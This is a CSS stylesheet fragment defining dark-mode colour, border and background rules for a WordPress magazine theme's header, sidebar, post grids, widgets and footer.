body.pcdm-enable.pcdark-mode #navigation.menu-style-2 ul.menu ul.sub-menu:before,
body.pcdm-enable.pcdark-mode #navigation.menu-style-2 .menu ul ul.sub-menu:before {
    background-color: var(--pcaccent-cl);
}
body.pcdm-enable.pcdark-mode .top-search-classes a.cart-contents,
body.pcdm-enable.pcdark-mode .pcheader-icon > a,
body.pcdm-enable.pcdark-mode #navigation .button-menu-mobile {
    color: var(--pctext-cl);
}
body.pcdm-enable.pcdark-mode #navigation .button-menu-mobile svg {
    fill: var(--pctext-cl);
}
body.pcdm-enable.pcdark-mode .show-search form.pc-searchform input.search-input::-webkit-input-placeholder {
    color: var(--pctext-cl);
}
body.pcdm-enable.pcdark-mode .show-search form.pc-searchform input.search-input:-moz-placeholder {
    color: var(--pctext-cl);
}
body.pcdm-enable.pcdark-mode .show-search form.pc-searchform input.search-input::-moz-placeholder {
    color: var(--pctext-cl);
}
body.pcdm-enable.pcdark-mode .show-search form.pc-searchform input.search-input:-ms-input-placeholder {
    color: var(--pctext-cl);
}
body.pcdm-enable.pcdark-mode .show-search form.pc-searchform input.search-input {
    color: var(--pctext-cl);
}
body.pcdm-enable.pcdark-mode .show-search a.close-search {
    color: var(--pctext-cl);
}
body.pcdm-enable.pcdark-mode .penci-header-signup-form {
    background-color: var(--pcbg-cl);
}
body.pcdm-enable.pcdark-mode .penci-header-signup-form .mc4wp-form,
body.pcdm-enable.pcdark-mode .penci-header-signup-form h4.header-signup-form,
body.pcdm-enable.pcdark-mode .penci-header-signup-form .mc4wp-form-fields > p,
body.pcdm-enable.pcdark-mode .penci-header-signup-form form > p {
    color: var(--pctext-cl);
}
body.pcdm-enable.pcdark-mode .penci-header-signup-form .mc4wp-form input[type="text"],
body.pcdm-enable.pcdark-mode .penci-header-signup-form .mc4wp-form input[type="email"] {
    border-color: var(--pctext-cl);
    color: var(--pctext-cl);
}
body.pcdm-enable.pcdark-mode .penci-header-signup-form .mc4wp-form input[type="text"]::-webkit-input-placeholder,
body.pcdm-enable.pcdark-mode .penci-header-signup-form .mc4wp-form input[type="email"]::-webkit-input-placeholder {
    color: var(--pctext-cl);
}
body.pcdm-enable.pcdark-mode .penci-header-signup-form .mc4wp-form input[type="text"]:-moz-placeholder,
body.pcdm-enable.pcdark-mode .penci-header-signup-form .mc4wp-form input[type="email"]:-moz-placeholder {
    color: var(--pctext-cl);
}
body.pcdm-enable.pcdark-mode .penci-header-signup-form .mc4wp-form input[type="text"]::-moz-placeholder,
body.pcdm-enable.pcdark-mode .penci-header-signup-form .mc4wp-form input[type="email"]::-moz-placeholder {
    color: var(--pctext-cl);
}
body.pcdm-enable.pcdark-mode .penci-header-signup-form .mc4wp-form input[type="text"]:-ms-input-placeholder,
body.pcdm-enable.pcdark-mode .penci-header-signup-form .mc4wp-form input[type="email"]:-ms-input-placeholder {
    color: var(--pctext-cl);
}
body.pcdm-enable.pcdark-mode .penci-header-signup-form .widget input[type="submit"] {
    background-color: var(--pcbg-l-cl);
    color: var(--pctext-cl);
}
body.pcdm-enable.pcdark-mode .penci-header-signup-form .widget input[type="submit"]:hover {
    background-color: var(--pcbg-cl);
    color: var(--pctext-cl);
}
body.pcdm-enable.pcdark-mode .header-social a i,
body.pcdm-enable.pcdark-mode .main-nav-social a {
    color: var(--pctext-cl);
}
body.pcdm-enable.pcdark-mode .header-social a:hover i,
body.pcdm-enable.pcdark-mode .main-nav-social a:hover,
body.pcdm-enable.pcdark-mode .penci-menuhbg-toggle:hover .lines-button:after,
body.pcdm-enable.pcdark-mode .penci-menuhbg-toggle:hover .penci-lines:before,
body.pcdm-enable.pcdark-mode .penci-menuhbg-toggle:hover .penci-lines:after {
    color: var(--pctext-cl);
}
body.pcdm-enable.pcdark-mode #close-sidebar-nav {
    background-color: rgba(65, 65, 65, 0.8);
    color: var(--pcl-cl);
}
body.pcdm-enable.pcdark-mode #close-sidebar-nav i {
    color: var(--pctext-cl);
    background-color: var(--pcbg-cl);
}
body.pcdm-enable.pcdark-mode #sidebar-nav {
    background: var(--pcbg-cl);
}
body.pcdm-enable.pcdark-mode #sidebar-nav form.pc-searchform.penci-hbg-search-form input.search-input,
body.pcdm-enable.pcdark-mode #sidebar-nav form.pc-searchform.penci-hbg-search-form input.search-input:hover,
body.pcdm-enable.pcdark-mode #sidebar-nav form.pc-searchform.penci-hbg-search-form input.search-input:focus {
    border-color: var(--pcborder-cl);
}
body.pcdm-enable.pcdark-mode #sidebar-nav form.pc-searchform.penci-hbg-search-form input.search-input {
    color: var(--pctext-cl);
}
body.pcdm-enable.pcdark-mode #sidebar-nav form.pc-searchform.penci-hbg-search-form input.search-input::-webkit-input-placeholder {
    color: var(--pctext-cl);
}
body.pcdm-enable.pcdark-mode #sidebar-nav form.pc-searchform.penci-hbg-search-form input.search-input:-ms-input-placeholder {
    color: var(--pctext-cl);
}
body.pcdm-enable.pcdark-mode #sidebar-nav form.pc-searchform.penci-hbg-search-form input.search-input::placeholder {
    color: var(--pctext-cl);
}
body.pcdm-enable.pcdark-mode #sidebar-nav form.pc-searchform.penci-hbg-search-form i {
    color: var(--pctext-cl);
}
body.pcdm-enable.pcdark-mode .header-social.sidebar-nav-social a i,
body.pcdm-enable.pcdark-mode #sidebar-nav .menu li a,
body.pcdm-enable.pcdark-mode #sidebar-nav .menu li a .indicator {
    color: var(--pctext-cl);
}
body.pcdm-enable.pcdark-mode #sidebar-nav .menu li a:hover,
body.pcdm-enable.pcdark-mode .header-social.sidebar-nav-social a:hover i,
body.pcdm-enable.pcdark-mode #sidebar-nav .menu li a .indicator:hover,
body.pcdm-enable.pcdark-mode #sidebar-nav .menu .sub-menu li a .indicator:hover {
    color: var(--pctext-cl);
}
body.pcdm-enable.pcdark-mode #sidebar-nav-logo:before {
    background-color: var(--pcbg-cl);
}
body.pcdm-enable.pcdark-mode #sidebar-nav .menu li,
body.pcdm-enable.pcdark-mode #sidebar-nav ul.sub-menu,
body.pcdm-enable.pcdark-mode #sidebar-nav #logo + ul {
    border-color: var(--pcborder-cl);
}
body.pcdm-enable.pcdark-mode h2.penci-heading-video {
    color: var(--pctext-cl);
}
body.pcdm-enable.pcdark-mode p.penci-sub-heading-video {
    color: var(--pctext-cl);
}
body.pcdm-enable.pcdark-mode .penci-featured-content .feat-text .featured-cat a,
body.pcdm-enable.pcdark-mode .penci-mag-featured-content .cat > a.penci-cat-name,
body.pcdm-enable.pcdark-mode .featured-style-35 .cat > a.penci-cat-name {
    color: var(--pctext-cl);
}
body.pcdm-enable.pcdark-mode .penci-mag-featured-content .cat > a.penci-cat-name:after,
body.pcdm-enable.pcdark-mode .penci-featured-content .cat > a.penci-cat-name:after,
body.pcdm-enable.pcdark-mode .featured-style-35 .cat > a.penci-cat-name:after {
    border-color: var(--pctext-cl);
}
body.pcdm-enable.pcdark-mode .penci-featured-content .feat-text .featured-cat a:hover,
body.pcdm-enable.pcdark-mode .penci-mag-featured-content .cat > a.penci-cat-name:hover,
body.pcdm-enable.pcdark-mode .featured-style-35 .cat > a.penci-cat-name:hover {
    color: var(--pcaccent-cl);
}
body.pcdm-enable.pcdark-mode .penci-mag-featured-content h3 a,
body.pcdm-enable.pcdark-mode .penci-featured-content .feat-text h3 a,
body.pcdm-enable.pcdark-mode .featured-style-35 .feat-text-right h3 a {
    color: var(--pcl-cl);
}
body.pcdm-enable.pcdark-mode .penci-mag-featured-content h3 a:hover,
body.pcdm-enable.pcdark-mode .penci-featured-content .feat-text h3 a:hover,
body.pcdm-enable.pcdark-mode .featured-style-35 .feat-text-right h3 a:hover {
    color: var(--pclh-cl);
}
body.pcdm-enable.pcdark-mode .penci-mag-featured-content .feat-meta span,
body.pcdm-enable.pcdark-mode .penci-mag-featured-content .feat-meta a,
body.pcdm-enable.pcdark-mode .penci-featured-content .feat-text .feat-meta span,
body.pcdm-enable.pcdark-mode .penci-featured-content .feat-text .feat-meta span a,
body.pcdm-enable.pcdark-mode .featured-style-35 .featured-content-excerpt .feat-meta span,
body.pcdm-enable.pcdark-mode .featured-style-35 .featured-content-excerpt .feat-meta span a {
    color: var(--pcmeta-cl);
}
body.pcdm-enable.pcdark-mode .penci-mag-featured-content .feat-meta > span:after,
body.pcdm-enable.pcdark-mode .penci-featured-content .feat-text .feat-meta > span:after {
    border-color: var(--pcborder-cl);
}
body.pcdm-enable.pcdark-mode .featured-style-35 .featured-content-excerpt p,
body.pcdm-enable.pcdark-mode .featured-slider-excerpt p {
    color: var(--pctext-cl);
}
body.pcdm-enable.pcdark-mode .featured-style-29 .penci-featured-content .feat-text h3:before {
    border-color: var(--pcborder-cl);
}
body.pcdm-enable.pcdark-mode .featured-style-29 .penci-featured-slider-button a,
body.pcdm-enable.pcdark-mode .featured-style-35 .penci-featured-slider-button a,
body.pcdm-enable.pcdark-mode .featured-style-38 .penci-featured-slider-button a {
    border-color: var(--pcborder-cl);
    color: var(--pctext-cl);
}
body.pcdm-enable.pcdark-mode .featured-style-29 .penci-featured-slider-button a:hover,
body.pcdm-enable.pcdark-mode .featured-style-35 .penci-featured-slider-button a:hover,
body.pcdm-enable.pcdark-mode .featured-style-38 .penci-featured-slider-button a:hover {
    border-color: var(--pcborder-cl);
    color: var(--pcaccent-cl);
}
body.pcdm-enable.pcdark-mode .penci-standard-cat .cat > a.penci-cat-name {
    color: var(--pctext-cl);
}
body.pcdm-enable.pcdark-mode .penci-standard-cat .cat:before,
body.pcdm-enable.pcdark-mode .penci-standard-cat .cat:after {
    background-color: var(--pcbg-cl);
}
body.pcdm-enable.pcdark-mode .header-standard > h2 a {
    color: var(--pctext-cl);
}
body.pcdm-enable.pcdark-mode .header-standard > h2 a:hover {
    color: var(--pctext-cl);
}
body.pcdm-enable.pcdark-mode .standard-content .penci-post-box-meta .penci-post-share-box a {
    color: var(--pctext-cl);
}
body.pcdm-enable.pcdark-mode .standard-content .penci-post-box-meta .penci-post-share-box a:hover,
body.pcdm-enable.pcdark-mode .standard-content .penci-post-box-meta .penci-post-share-box a.liked {
    color: var(--pctext-cl);
}
body.pcdm-enable.pcdark-mode .header-standard .author-post span,
body.pcdm-enable.pcdark-mode .standard-content .penci-post-box-meta .penci-box-meta span,
body.pcdm-enable.pcdark-mode .standard-content .penci-post-box-meta .penci-box-meta a {
    color: var(--pcmeta-cl);
}
body.pcdm-enable.pcdark-mode .header-standard .author-post span a {
    color: var(--pcl-cl);
}
body.pcdm-enable.pcdark-mode .header-standard .post-entry a:hover,
body.pcdm-enable.pcdark-mode .header-standard .author-post span a:hover,
body.pcdm-enable.pcdark-mode .standard-content a,
body.pcdm-enable.pcdark-mode .standard-content .post-entry a,
body.pcdm-enable.pcdark-mode .standard-post-entry a.more-link:hover,
body.pcdm-enable.pcdark-mode .penci-post-box-meta .penci-box-meta a:hover,
body.pcdm-enable.pcdark-mode .standard-content .post-entry blockquote:before,
body.pcdm-enable.pcdark-mode .post-entry blockquote cite,
body.pcdm-enable.pcdark-mode .post-entry blockquote .author,
body.pcdm-enable.pcdark-mode .standard-content-special .author-quote span,
body.pcdm-enable.pcdark-mode .standard-content-special .format-post-box .post-format-icon i,
body.pcdm-enable.pcdark-mode .standard-content-special .format-post-box .dt-special a:hover,
body.pcdm-enable.pcdark-mode .standard-content .penci-more-link a.more-link,
body.pcdm-enable.pcdark-mode .standard-content .penci-post-box-meta .penci-box-meta a:hover {
    color: var(--pcaccent-cl);
}
body.pcdm-enable.pcdark-mode .standard-content .penci-more-link.penci-more-link-button a.more-link {
    color: #fff;
    background-color: var(--pcbg-cl);
}
body.pcdm-enable.pcdark-mode .standard-content-special .author-quote span:before,
body.pcdm-enable.pcdark-mode .standard-content-special .author-quote span:after,
body.pcdm-enable.pcdark-mode .standard-content .post-entry ul li:before,
body.pcdm-enable.pcdark-mode .post-entry blockquote .author span:after,
body.pcdm-enable.pcdark-mode .header-standard:after {
    background-color: var(--pcbg-cl);
}
body.pcdm-enable.pcdark-mode .penci-more-link a.more-link:before,
body.pcdm-enable.pcdark-mode .penci-more-link a.more-link:after {
    border-color: var(--pcborder-cl);
}
body.pcdm-enable.pcdark-mode .standard-content .penci-more-link a.more-link,
body.pcdm-enable.pcdark-mode .standard-content .penci-more-link.penci-more-link-button a.more-link {
    color: var(--pctext-cl);
}
body.pcdm-enable.pcdark-mode .standard-content .penci-more-link a.more-link:before,
body.pcdm-enable.pcdark-mode .standard-content .penci-more-link a.more-link:after {
    border-color: var(--pcborder-cl);
}
body.pcdm-enable.pcdark-mode .penci-grid li .item h2 a,
body.pcdm-enable.pcdark-mode .penci-masonry .item-masonry h2 a,
body.pcdm-enable.pcdark-mode .penci-grid li .item .penci_grid_title a,
body.pcdm-enable.pcdark-mode .penci-masonry .item-masonry .penci_grid_title a {
    color: var(--pcheading-cl);
}
body.pcdm-enable.pcdark-mode .penci-featured-infor .cat a.penci-cat-name,
body.pcdm-enable.pcdark-mode .penci-grid .cat a.penci-cat-name,
body.pcdm-enable.pcdark-mode .penci-masonry .cat a.penci-cat-name,
body.pcdm-enable.pcdark-mode .penci-featured-infor .cat a.penci-cat-name {
    color: var(--pcaccent-cl) !important;
}
body.pcdm-enable.pcdark-mode .penci-featured-infor .cat a.penci-cat-name:after,
body.pcdm-enable.pcdark-mode .penci-grid .cat a.penci-cat-name:after,
body.pcdm-enable.pcdark-mode .penci-masonry .cat a.penci-cat-name:after,
body.pcdm-enable.pcdark-mode .penci-featured-infor .cat a.penci-cat-name:after {
    border-color: var(--pcaccent-cl);
}
body.pcdm-enable.pcdark-mode .penci-post-box-meta .penci-post-share-box a {
    color: var(--pctext-cl);
}
body.pcdm-enable.pcdark-mode .penci-post-share-box a.liked,
body.pcdm-enable.pcdark-mode .penci-post-share-box a:hover {
    color: var(--pcaccent-cl);
}
body.pcdm-enable.pcdark-mode .grid-featured .penci-featured-share-box a {
    color: var(--pctext-cl);
}
body.pcdm-enable.pcdark-mode .grid-featured .penci-featured-share-box a:hover {
    color: var(--pcaccent-cl);
}
body.pcdm-enable.pcdark-mode .penci-featured-share-box .penci-shareic,
body.pcdm-enable.pcdark-mode .penci-featured-share-box .penci-shareso {
    background-color: var(--pcbg-cl);
    color: var(--pcbg-cl);
}
body.pcdm-enable.pcdark-mode .penci-featured-infor .penci-entry-title a,
body.pcdm-enable.pcdark-mode .penci-grid li .item h2 a,
body.pcdm-enable.pcdark-mode .penci-masonry .item-masonry h2 a,
body.pcdm-enable.pcdark-mode .grid-mixed .mixed-detail h2 a,
body.pcdm-enable.pcdark-mode .penci-featured-infor .penci_grid_title a,
body.pcdm-enable.pcdark-mode .penci-grid li .item .penci_grid_title a,
body.pcdm-enable.pcdark-mode .penci-masonry .item-masonry .penci_grid_title a,
body.pcdm-enable.pcdark-mode .grid-mixed .mixed-detail .penci_grid_title a {
    color: var(--pctext-cl);
}
body.pcdm-enable.pcdark-mode .penci-featured-infor .penci-entry-title a:hover,
body.pcdm-enable.pcdark-mode .penci-grid li .item h2 a:hover,
body.pcdm-enable.pcdark-mode .penci-masonry .item-masonry h2 a:hover,
body.pcdm-enable.pcdark-mode .grid-mixed .mixed-detail h2 a:hover,
body.pcdm-enable.pcdark-mode .penci-featured-infor .penci_grid_title a:hover,
body.pcdm-enable.pcdark-mode .penci-grid li .item .penci_grid_title a:hover,
body.pcdm-enable.pcdark-mode .penci-masonry .item-masonry .penci_grid_title a:hover,
body.pcdm-enable.pcdark-mode .grid-mixed .mixed-detail .penci_grid_title a:hover {
    color: var(--pcaccent-cl);
}
body.pcdm-enable.pcdark-mode .grid-post-box-meta span {
    color: var(--pcmeta-cl);
}
body.pcdm-enable.pcdark-mode .grid-post-box-meta span a,
body.pcdm-enable.pcdark-mode .grid-mixed .penci-post-box-meta .penci-box-meta a {
    color: var(--pctext-cl);
}
body.pcdm-enable.pcdark-mode .penci-grid .standard-content-special .format-post-box .dt-special a:hover,
body.pcdm-enable.pcdark-mode .grid-post-box-meta span a:hover,
body.pcdm-enable.pcdark-mode .grid-post-box-meta span a.comment-link:hover,
body.pcdm-enable.pcdark-mode .penci-grid .standard-content-special .author-quote span,
body.pcdm-enable.pcdark-mode .penci-grid .standard-content-special .format-post-box .post-format-icon i,
body.pcdm-enable.pcdark-mode .grid-mixed .penci-post-box-meta .penci-box-meta a:hover {
    color: var(--pcaccent-cl);
}
body.pcdm-enable.pcdark-mode .penci-grid .standard-content-special .author-quote span:before,
body.pcdm-enable.pcdark-mode .penci-grid .standard-content-special .author-quote span:after,
body.pcdm-enable.pcdark-mode .grid-header-box:after,
body.pcdm-enable.pcdark-mode .list-post .header-list-style:after {
    background-color: var(--pcaccent-cl);
}
body.pcdm-enable.pcdark-mode .penci-grid .post-box-meta span:after,
body.pcdm-enable.pcdark-mode .penci-masonry .post-box-meta span:after {
    border-color: var(--pcborder-cl);
}
body.pcdm-enable.pcdark-mode .penci-readmore-btn.penci-btn-make-button a {
    color: #fff;
    background-color: var(--pcaccent-cl);
}
body.pcdm-enable.pcdark-mode .penci-readmore-btn a,
body.pcdm-enable.pcdark-mode .penci-readmore-btn.penci-btn-make-button a {
    color: var(--pctext-cl);
}
body.pcdm-enable.pcdark-mode .penci-grid .typography-style .main-typography a.penci-cat-name,
body.pcdm-enable.pcdark-mode .penci-grid .typography-style .main-typography a.penci-cat-name:hover {
    color: var(--pctext-cl);
}
body.pcdm-enable.pcdark-mode .typography-style .main-typography a.penci-cat-name:after {
    border-color: var(--pctext-cl);
}
body.pcdm-enable.pcdark-mode .penci-grid li.typography-style .item .main-typography h2 a {
    color: var(--pctext-cl);
}
body.pcdm-enable.pcdark-mode .penci-grid li.typography-style .item .main-typography h2 a:hover {
    color: var(--pctext-cl);
}
body.pcdm-enable.pcdark-mode .penci-grid li.typography-style .grid-post-box-meta span,
body.pcdm-enable.pcdark-mode .penci-grid li.typography-style .grid-post-box-meta span a {
    color: var(--pctext-cl);
}
body.pcdm-enable.pcdark-mode .penci-grid li.typography-style .grid-post-box-meta span:after {
    background-color: var(--pcbg-cl);
}
body.pcdm-enable.pcdark-mode .penci-grid li.typography-style .grid-post-box-meta span a:hover {
    color: var(--pctext-cl);
}
body.pcdm-enable.pcdark-mode .penci-sidebar-content.pcsb-boxed-whole,
body.pcdm-enable.pcdark-mode .penci-sidebar-content.pcsb-boxed-widget .widget {
    background-color: var(--pcbg-cl);
    border-color: var(--pcborder-cl);
}
body.pcdm-enable.pcdark-mode .penci-sidebar-content.style-11 .penci-border-arrow .inner-arrow,
body.pcdm-enable.pcdark-mode .penci-sidebar-content.style-12 .penci-border-arrow .inner-arrow,
body.pcdm-enable.pcdark-mode .penci-sidebar-content.style-14 .penci-border-arrow .inner-arrow:before,
body.pcdm-enable.pcdark-mode .penci-sidebar-content.style-13 .penci-border-arrow .inner-arrow,
body.pcdm-enable.pcdark-mode .penci-sidebar-content.style-15 .penci-border-arrow .inner-arrow {
    background-color: var(--pcbg-l-cl);
    border-color: var(--pcbg-l-cl);
}
body.pcdm-enable.pcdark-mode .penci-sidebar-content.style-2 .penci-border-arrow:after {
    border-top-color: var(--pcbg-l-cl);
}
body.pcdm-enable.pcdark-mode .penci-sidebar-content .penci-border-arrow:after {
    background-color: var(--pcbg-l-cl);
    border-color: var(--pcborder-cl);
}
body.pcdm-enable.pcdark-mode .penci-sidebar-content .penci-border-arrow .inner-arrow {
    border-color: var(--pcborder-cl);
    color: var(--pctext-cl);
}
body.pcdm-enable.pcdark-mode .penci-sidebar-content.style-4 .penci-border-arrow .inner-arrow:before,
body.pcdm-enable.pcdark-mode .penci-sidebar-content.style-4 .penci-border-arrow .inner-arrow:after {
    border-color: var(--pctext-cl);
}
body.pcdm-enable.pcdark-mode .penci-sidebar-content.style-5 .penci-border-arrow,
body.pcdm-enable.pcdark-mode .penci-sidebar-content.style-7 {
    border-color: var(--pcbg-l-cl);
}
body.pcdm-enable.pcdark-mode .penci-border-arrow {
    border-color: var(--pcborder-cl);
}
body.pcdm-enable.pcdark-mode .penci-sidebar-content.style-9 .penci-border-arrow {
    border-color: var(--pcbg-l-cl);
}
body.pcdm-enable.pcdark-mode .penci-sidebar-content .penci-border-arrow:before {
    border-top-color: var(--pcborder-cl);
}
body.pcdm-enable.pcdark-mode .penci-sidebar-content.style-16 .penci-border-arrow:after {
    background-color: var(--pcbg-l-cl);
}
body.pcdm-enable.pcdark-mode .penci-sidebar-content.style-5 .penci-border-arrow {
    border-color: var(--pcborder-cl);
}
body.pcdm-enable.pcdark-mode .penci-sidebar-content.style-12 .penci-border-arrow,
body.pcdm-enable.pcdark-mode .penci-sidebar-content.style-10 .penci-border-arrow,
body.pcdm-enable.pcdark-mode .penci-sidebar-content.style-5 .penci-border-arrow .inner-arrow {
    border-bottom-color: var(--pcborder-cl);
}
body.pcdm-enable.pcdark-mode .penci-sidebar-content.style-10 .penci-border-arrow {
    border-top-color: var(--pcborder-cl);
}
body.pcdm-enable.pcdark-mode .penci-sidebar-content.style-11 .penci-border-arrow .inner-arrow:after,
body.pcdm-enable.pcdark-mode .penci-sidebar-content.style-11 .penci-border-arrow .inner-arrow:before {
    border-top-color: var(--pcborder-cl);
}
body.pcdm-enable.pcdark-mode .penci-sidebar-content.style-12 .penci-border-arrow .inner-arrow:before {
    border-bottom-color: var(--pcborder-cl);
}
body.pcdm-enable.pcdark-mode .penci-sidebar-content.style-12.pcalign-center .penci-border-arrow .inner-arrow:after,
body.pcdm-enable.pcdark-mode .penci-sidebar-content.style-12.pcalign-right .penci-border-arrow .inner-arrow:after {
    border-bottom-color: var(--pcborder-cl);
}
body.pcdm-enable.pcdark-mode .penci-sidebar-content.style-13.pcalign-center .penci-border-arrow .inner-arrow:after,
body.pcdm-enable.pcdark-mode .penci-sidebar-content.style-13.pcalign-left .penci-border-arrow .inner-arrow:after {
    border-right-color: var(--pcbg-cl);
}
body.pcdm-enable.pcdark-mode .penci-sidebar-content.style-13.pcalign-center .penci-border-arrow .inner-arrow:before,
body.pcdm-enable.pcdark-mode .penci-sidebar-content.style-13.pcalign-right .penci-border-arrow .inner-arrow:before {
    border-left-color: var(--pcborder-cl);
}
body.pcdm-enable.pcdark-mode .penci-sidebar-content.style-15 .penci-border-arrow:before {
    background-color: var(--pcbg-l-cl);
}
body.pcdm-enable.pcdark-mode .penci-sidebar-content.style-15 .penci-border-arrow:after {
    color: var(--pctext-cl);
}
body.pcdm-enable.pcdark-mode .penci-sidebar-content.style-18 .penci-border-arrow:after {
    color: var(--pctext-cl);
}
body.pcdm-enable.pcdark-mode .penci-sidebar-content.style-7 .penci-border-arrow .inner-arrow:before,
body.pcdm-enable.pcdark-mode .penci-sidebar-content.style-9 .penci-border-arrow .inner-arrow:before {
    background-color: var(--pcaccent-cl);
}
body.pcdm-enable.pcdark-mode .widget ul.side-newsfeed li .side-item .side-item-text h4 a,
body.pcdm-enable.pcdark-mode .widget a,
body.pcdm-enable.pcdark-mode #wp-calendar tbody td a,
body.pcdm-enable.pcdark-mode .widget.widget_categories ul li,
body.pcdm-enable.pcdark-mode .widget.widget_archive ul li,
body.pcdm-enable.pcdark-mode .widget-social a i,
body.pcdm-enable.pcdark-mode .widget-social a span,
body.pcdm-enable.pcdark-mode .penci-video_playlist .penci-video-playlist-item .penci-video-title,
body.pcdm-enable.pcdark-mode .widget ul.side-newsfeed li .side-item .side-item-text .side-item-meta a {
    color: var(--pctext-cl);
}
body.pcdm-enable.pcdark-mode .penci-video_playlist .penci-video-playlist-item .penci-video-title:hover,
body.pcdm-enable.pcdark-mode .widget ul.side-newsfeed li .side-item .side-item-text h4 a:hover,
body.pcdm-enable.pcdark-mode .widget a:hover,
body.pcdm-enable.pcdark-mode .penci-sidebar-content .widget-social a:hover span,
body.pcdm-enable.pcdark-mode .widget-social a:hover span,
body.pcdm-enable.pcdark-mode .penci-tweets-widget-content .icon-tweets,
body.pcdm-enable.pcdark-mode .penci-tweets-widget-content .tweet-intents a,
body.pcdm-enable.pcdark-mode .penci-tweets-widget-content {
}
body.pcdm-enable.pcdark-mode .tweet-intents span:after,
body.pcdm-enable.pcdark-mode .widget-social.remove-circle a:hover i,
body.pcdm-enable.pcdark-mode #wp-calendar tbody td a:hover,
body.pcdm-enable.pcdark-mode .penci-video_playlist .penci-video-playlist-item .penci-video-title:hover,
body.pcdm-enable.pcdark-mode .widget ul.side-newsfeed li .side-item .side-item-text .side-item-meta a:hover {
    color: var(--pctext-cl);
}
body.pcdm-enable.pcdark-mode .widget .tagcloud a:hover,
body.pcdm-enable.pcdark-mode .widget-social a:hover i,
body.pcdm-enable.pcdark-mode .widget input[type="submit"]:hover,
body.pcdm-enable.pcdark-mode .penci-user-logged-in .penci-user-action-links a:hover,
body.pcdm-enable.pcdark-mode .penci-button:hover,
body.pcdm-enable.pcdark-mode .widget button[type="submit"]:hover {
    color: var(--pctext-cl);
    border-color: var(--pcborder-cl);
}
body.pcdm-enable.pcdark-mode .about-widget .about-me-heading:before {
    border-color: var(--pcborder-cl);
}
body.pcdm-enable.pcdark-mode .penci-tweets-widget-content .tweet-intents-inner:before,
body.pcdm-enable.pcdark-mode .penci-tweets-widget-content .tweet-intents-inner:after,
body.pcdm-enable.pcdark-mode .pencisc-column-1.penci-video_playlist .penci-video-nav .playlist-panel-item,
body.pcdm-enable.pcdark-mode .penci-video_playlist .penci-custom-scroll::-webkit-scrollbar-thumb,
body.pcdm-enable.pcdark-mode .penci-video_playlist .penci-playlist-title {
    background-color: var(--pcbg-cl);
}
body.pcdm-enable.pcdark-mode .penci-owl-carousel.penci-tweets-slider .penci-owl-dots .penci-owl-dot.active span,
body.pcdm-enable.pcdark-mode .penci-owl-carousel.penci-tweets-slider .penci-owl-dots .penci-owl-dot:hover span {
    border-color: var(--pcaccent-cl);
}
body.pcdm-enable.pcdark-mode .footer-subscribe {
    background-color: var(--pcbg-l-cl);
}
body.pcdm-enable.pcdark-mode .footer-subscribe h4.footer-subscribe-title {
    color: var(--pctext-cl);
}
body.pcdm-enable.pcdark-mode .footer-subscribe .mc4wp-form .mdes {
    color: var(--pctext-cl);
}
body.pcdm-enable.pcdark-mode .footer-subscribe .widget .mc4wp-form input[type="email"],
body.pcdm-enable.pcdark-mode .footer-subscribe .widget .mc4wp-form input[type="text"] {
    border-color: var(--pcborder-cl);
    color: var(--pcl-cl);
}
body.pcdm-enable.pcdark-mode .footer-subscribe .widget .mc4wp-form input[type="email"]:focus,
body.pcdm-enable.pcdark-mode .footer-subscribe .widget .mc4wp-form input[type="email"]:hover,
body.pcdm-enable.pcdark-mode .footer-subscribe .widget .mc4wp-form input[type="text"]:focus,
body.pcdm-enable.pcdark-mode .footer-subscribe .widget .mc4wp-form input[type="text"]:hover {
    border-color: var(--pclh-cl);
}
body.pcdm-enable.pcdark-mode .footer-subscribe input[type="email"]::-webkit-input-placeholder {
    color: var(--pctext-cl);
}
body.pcdm-enable.pcdark-mode .footer-subscribe input[type="email"]:-moz-placeholder {
    color: var(--pctext-cl);
}
body.pcdm-enable.pcdark-mode .footer-subscribe input[type="email"]::-moz-placeholder {
    color: var(--pctext-cl);
}
body.pcdm-enable.pcdark-mode .footer-subscribe input[type="email"]:-ms-input-placeholder {
    color: var(--pctext-cl);
}
body.pcdm-enable.pcdark-mode .footer-subscribe input[type="email"]::-ms-input-placeholder {
    color: var(--pctext-cl);
}
body.pcdm-enable.pcdark-mode .footer-subscribe input[type="text"]::-webkit-input-placeholder {
    color: var(--pctext-cl);
}
body.pcdm-enable.pcdark-mode .footer-subscribe input[type="text"]:-moz-placeholder {
    color: var(--pctext-cl);
}
body.pcdm-enable.pcdark-mode .footer-subscribe input[type="text"]::-moz-placeholder {
    color: var(--pctext-cl);
}
body.pcdm-enable.pcdark-mode .footer-subscribe input[type="text"]:-ms-input-placeholder {
    color: var(--pctext-cl);
}
body.pcdm-enable.pcdark-mode .footer-subscribe input[type="text"]::-ms-input-placeholder {
    color: var(--pctext-cl);
}
body.pcdm-enable.pcdark-mode .footer-subscribe .widget .mc4wp-form input[type="submit"] {
    background-color: var(--pcbg-cl);
    color: var(--pctext-cl);
}
body.pcdm-enable.pcdark-mode .footer-subscribe .widget .mc4wp-form input[type="submit"]:hover {
    background-color: var(--pcbg-cl);
    color: var(--pctext-cl);
}
body.pcdm-enable.pcdark-mode #widget-area {
    background-color: var(--pcbg-l-cl);
    border-color: var(--pcborder-cl);
}
body.pcdm-enable.pcdark-mode .footer-widget-wrapper,
body.pcdm-enable.pcdark-mode .footer-widget-wrapper .widget.widget_categories ul li,
body.pcdm-enable.pcdark-mode .footer-widget-wrapper .widget.widget_archive ul li,
body.pcdm-enable.pcdark-mode .footer-widget-wrapper .widget input[type="text"],
body.pcdm-enable.pcdark-mode .footer-widget-wrapper .widget input[type="email"],
body.pcdm-enable.pcdark-mode .footer-widget-wrapper .widget input[type="date"],
body.pcdm-enable.pcdark-mode .footer-widget-wrapper .widget input[type="number"],
body.pcdm-enable.pcdark-mode .footer-widget-wrapper .widget input[type="search"] {
    color: var(--pctext-cl);
}
body.pcdm-enable.pcdark-mode .footer-widget-wrapper .widget ul li,
body.pcdm-enable.pcdark-mode .footer-widget-wrapper .widget ul ul,
body.pcdm-enable.pcdark-mode .footer-widget-wrapper .widget input[type="text"],
body.pcdm-enable.pcdark-mode .footer-widget-wrapper .widget input[type="email"],
body.pcdm-enable.pcdark-mode .footer-widget-wrapper .widget input[type="date"],
body.pcdm-enable.pcdark-mode .footer-widget-wrapper .widget input[type="number"],
body.pcdm-enable.pcdark-mode .footer-widget-wrapper .widget input[type="search"] {
    border-color: var(--pcborder-cl);
}
body.pcdm-enable.pcdark-mode .footer-widget-wrapper .widget .widget-title {
    color: var(--pcheading-cl);
}
body.pcdm-enable.pcdark-mode .footer-widget-wrapper .widget .widget-title .inner-arrow {
    border-color: var(--pcborder-cl);
}
